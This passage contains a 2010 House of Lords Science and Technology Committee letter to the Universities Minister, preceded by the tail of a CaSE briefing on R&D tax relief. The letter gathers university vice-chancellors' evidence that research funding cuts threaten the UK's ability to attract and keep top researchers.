reimbursement from the Treasury, however, they are an important part of UK
Government’s financial support for R&D. In 2008, 21 countries offered industry R&D tax
relief. In the UK, industry needs to invest nearly 90p to achieve a £1 investment in R&D,
taking into account all tax incentives and deductions. This places the UK 19th in terms of
how generously the tax system treats R&D, down from 13th in 2004. The UK is more
favourable than the US, but far less attractive than Brazil, India, and China.

Further Information
Imran Khan, CaSE Director, imran@sciencecampaign.org.uk
Dr Hilary Leevers, CaSE Assistant Director, hilary@sciencecampaign.org.uk
http://www.sciencecampaign.org.uk/documents/2010/CaSEjunebudgetbriefing2010.pdf
http://www.sciencecampaign.org.uk/documents/2010/CaSEResearchFunding.pdf

Sources:
BIS websites November 2009
SET Statistics, Department of Business Innovation and Skills, November, 2009
Performance of the UK Research Base, EvidenceLtd, for BIS, 2009
OECD science, technology and industry outlook, 2008.
House of Lords Tel: 020 7219 6072
London Fax: 020 7219 4931
Committee Office SW1A 0PW hlscience@parliament.uk
www.parliament.uk/lords

September 2010

On 13 July, you gave evidence before the House of Lords Science and Technology
Committee. You will recall that the evidence session included a short discussion during
which we questioned you about mobility of talent and, in particular, about the following
propositions:

• that the UK is becoming a less attractive destination for researchers due to the
worsening differential, whether real or perceived, in funding for research between
the UK and other destinations;
• that the UK will become increasingly less attractive for researchers if cuts in funding
increase this differential further; and
• that funding cuts will affect mobile talent in the UK at the senior level, the UK’s
ability to attract outstanding graduate students from abroad and the career choices
made by young people.
In response, you acknowledged the importance of the issues raised by these propositions
and invited the Committee to provide evidence to support them. The evidence could, you
suggested, then be considered as part of the current comprehensive spending review
process.

On investigation, the Committee has discovered that there is a significant lack of


internationally comparable data that records the flow of researcher migration, their career
stage, or the reasons for individual movements into and out of different countries. There
may also be a time lag between the cause and effect of funding cuts. It is difficult therefore to
demonstrate a robust empirical causal link between funding levels in different countries and
the ability to attract or retain the best researchers. It is possible however to provide
anecdotal evidence, and there are examples of studies that support such a link.1

1
Knowledge nomads: why science needs migration, Demos, Natalie Day and Jack Stilgoe (2009); The Elite Brain Drain, R Hunter,
A Oswald, and B Charlton (June 2009, The Economic Journal, 119, F231-F251); Brain Drain: Migration of Academic Staff to and
from the UK, HEPI, B Bekhradnia and T Sastry (2005); Talent wars: the international market for academic staff, Universities UK
Policy Briefing, 2007.
Prompted by your invitation, I wrote, on behalf of the Committee, to the Vice-Chancellors
of six leading research universities in the United Kingdom: the University of Cambridge, the
University of Oxford, University College London, Imperial College London, the University of
Manchester and the University of Edinburgh. Recognising that little research has been done
to collect relevant quantitative evidence, I asked whether they could provide the following:
examples of any difficulties that they had encountered in recent years in recruiting or
retaining (a) senior researchers and (b) high-quality postgraduate researchers or post-
doctoral students; where known, reasons for individuals’ decisions not to accept or continue
employment; and their expectation of the effects of reductions in funding on staff
recruitment and retention. I am now writing to you, on behalf of the Committee, to set out
the principal themes emerging from the evidence we received and to answer your challenge
to the Committee with a reciprocal challenge.

Our starting point is self-evident: that, to achieve excellence, academic research teams are
drawn from an international pool of talent. Professor Andrew Hamilton FRS, Vice-
Chancellor of Oxford University, told us: “The world’s leading universities now operate in a
truly global environment, and we expect that our academic staff will be recruited from
around the world. ... Turnover of staff and recruitment from outside the UK is a sign of the
institution’s strength”. In 2007-08, non-UK nationals made up 23 per cent of academic staff.2
The UK is also dependent on international students, with non-UK citizens representing
more than 40 per cent of the doctoral population in the UK.3 At present, 40 per cent of
Oxford’s academic staff are non-UK nationals. At Imperial College, the nationality of new
academic staff (lecturer to professor) joining Imperial College is currently 60.9 per cent from
the UK, 26.6 per cent from the EU and 12.5 per cent from non-EU countries; the nationality
of research staff (post-doctoral up to senior research staff) is 40 per cent from the UK, 34.7
per cent from the EU and 25.2 per cent from non-EU countries.

In this context, the international flow of talent is fluid and the direction of movement is liable
to change according to the relative attractiveness, whether perceived or real, of the
research environment in one country compared to another. There is also evidence to show
that mobility over a lifetime is highest amongst the “best brains”.4

Surveys and studies of research migration show that there are many “push” and “pull”
factors affecting the decision to migrate. Some of the key “pull” factors include research
funding, access to world-class facilities, scientific excellence and prestige, research culture
and higher wages.5 As our competitors have recognised the importance of science to
economic growth and have increased the proportion of funding for research, the
competition for international talent will heighten.

The responses we received from Vice-Chancellors support our concern that there is a
significant risk that a worsening differential in funding between the UK and other countries
will damage the ability of UK universities to attract and retain high quality researchers, and
provide recent examples of the difficulties they have experienced in recruiting staff.

2Higher Education in Facts & Figures, Universities UK, 2009.


3 OECD Science, Technology and Industry Scoreboard 2009.
4 B Bekhradnia and T Sastry, op cit.
5 Natalie Day and Jack Stilgoe, op cit; Universities UK Policy Briefing, op cit; The impact of international mobility on UK

academic research, William Solesbury & Associates (2005); B Bekhradnia and T Sastry, op cit; and see R Hunter, A Oswald
and B Charlton op cit.
2
Professor Hamilton of the University of Oxford, said: “we have very real concerns that the
brightest and best researchers at all stages of their career could accept offers of study or
employment at our international competitor institutions should the national funding
environment become more challenging”; and, referring to the current high ranking of UK
universities in international league tables, he commented: “such reputations were hard won,
but could easily be lost through a reduction in funding”. With regard to retention, Professor
Hamilton explained that the concern of the University was that “as the UK’s funding
environment for research becomes less generous than that of other countries, an increase in
salary alone (even if this can be afforded) will be insufficient to retain the very highest quality
individuals. Overall, the appeal of the UK as a place to undertake research will diminish if the
funding available is significantly reduced”.

Professor Malcolm Grant, President and Provost of University College London, suggested
that these were “deeply worrying times for the research-intensive universities ... The
painstaking work of the past two decades could quite quickly be undone were scholars
around the world to become apprehensive about the future commitment of the UK
government to science and their willingness to support its leading centres within Britain”.
Professor Sir Timothy O’Shea, Principal and Vice-Chancellor of the University of Edinburgh,
made a similar point: “we fear that world-class academics whom we have fought hard to
bring to this country will go where they can be most sure of securing funding for their
research”.

Whilst Sir Keith O’Nions FRS, Rector of Imperial College, suggested that it was too early to
assess the effects of recent and proposed funding cuts, he noted that the numbers of
Imperial College academic staff moving overseas had increased from 8 per cent to 24 per
cent of their turnover in the last five years and the number of research staff moving overseas
in the last five years had increased from 15.1 per cent to 22.8 per cent.

We were given a number of specific examples demonstrating the challenges which


universities are facing in recruiting and retaining high quality researchers. Professor Dame
Nancy Rothwell, President and Vice-Chancellor of the University of Manchester, referred to
two individuals who withdrew their applications for chairs because the financial packages
(including the funding of laboratory space) were unsatisfactory. Professor Grant of UCL also
referred to examples where senior researchers were being offered incentives to go overseas
with which the UK was unable to compete. We also draw your attention to the Times Higher
Education of 9 September 2010 in which it is reported that that a leading British
neuroscientist, Dr Adrian Owen, is leaving the University of Cambridge because of a
multimillion-dollar programme in Canada. Dr Owen is quoted as saying: “ ... where there are
countries increasing their funding while not a lot is being invested in science in the UK, it is
dangerous because people will move”.

Professor O’Shea of the University of Edinburgh referred to two senior researchers who
returned to posts in the United States this year, “citing difficulties in attracting good
international postgraduate research talent as a factor in their departure”. He also
commented that, despite significant efforts by the University to resource undergraduate and
postgraduate students properly, “we do not come close to the resource offered by major
US universities or by the Max Planck Institutes in Germany, which are able to offer many
more very attractive fully-funded packages for the best and brightest PhD students”.

Professor Hamilton of the University of Oxford also contrasted the UK with Germany: “in
stark contrast to the UK’s approach to reducing funding for research, the German
3
government has established a very generous programme to attract the best scientists to
German universities.” He gave an example of a senior academic who had been invited to
take up “a generously funded position” in Germany, the loss of whom would weaken
Oxford’s work in the area because of the difficulty in attracting a replacement of similar
calibre. Professor Hamilton gave a second example: following a recent funding shortfall as a
result of the merger of the Council for the Central Laboratory of the Research Councils and
the Particle Physics and Astronomy Research Council to form the STFC, the level of support
for particle physics and astronomy research has been significantly reduced, as a result of
which two internationally leading physicists have decided to return to the United States
rather than take up full time posts in Oxford.

Looking further into the future, Professor Hamilton said:

“As post doctoral researchers are unable to obtain appointments in the UK, it is
likely that the brightest and best will seek posts overseas, and so the UK could face a
‘lost generation’ of potential researchers.”

Professor Grant of UCL similarly referred to a fear that there might be “a repeat of the
experience of the 1980s, and a haemorrhage of the UK’s leading talent”; and Professor
O’Shea of the University of Edinburgh suggested that “if the Research Councils respond to
substantial cuts in funding by targeting postgraduate studentships, we risk losing the next
generation of researchers, who will either go elsewhere to train, or turn their backs on
research and academia as careers altogether”.

It is clear that there is a need for a better understanding of the underlying influences affecting
talent mobility, and to understand how the UK can most effectively compete in the “global
talent war”.6 The evidence we have received is a warning against complacency. It highlights
the risks to which the UK science base is being exposed as our competitors are able to
attract high quality researchers away from the UK to more welcoming research
environments abroad. The risks are significant and, in our view, international collaboration in
isolation does not answer the challenges they pose. Without a strong UK science research
base, the UK will be in no position to make an effective contribution to international
collaborative efforts. Collaboration is underpinned by a strong science base. It cannot be a
substitute for it.

We acknowledge that the evidence we received is from a limited number of universities.


However the six universities selected account for a very significant proportion of research
undertaken in the UK and we have no doubt their comments reflect the experience of other
world class universities in the UK. Their evidence demonstrates that, in a world where
talent is highly mobile, a widening of the funding differential, whether real or perceived,
between the UK and our competitors will put at risk the ability of the UK to continue to
recruit and retain the very best brains and to maintain the highest standards of research, for
which the UK is renowned and from which the UK has been able reap significant commercial
benefit.

We look forward to your response to the issues raised in this letter. We invite the
Government, in particular, to describe what steps they are taking in order to identify the
likely impact of proposed funding cuts on the recruitment and retention of high quality

6
Universities UK Policy Briefing, op cit.

4
researchers in the UK and what robust mechanisms will be put in place to monitor that
impact.

A copy of this letter, along with the letters from the Vice-Chancellors, will be published on
the Committee’s webpage on the Parliamentary website.

Lord Krebs
Chairman of the Committee on Science and Technology

The Rt Hon David Willetts MP


Minister of State for Universities and Science
Department for Business,
Innovation and Skills
1 Victoria Street
London SW1H 0ET

You might also like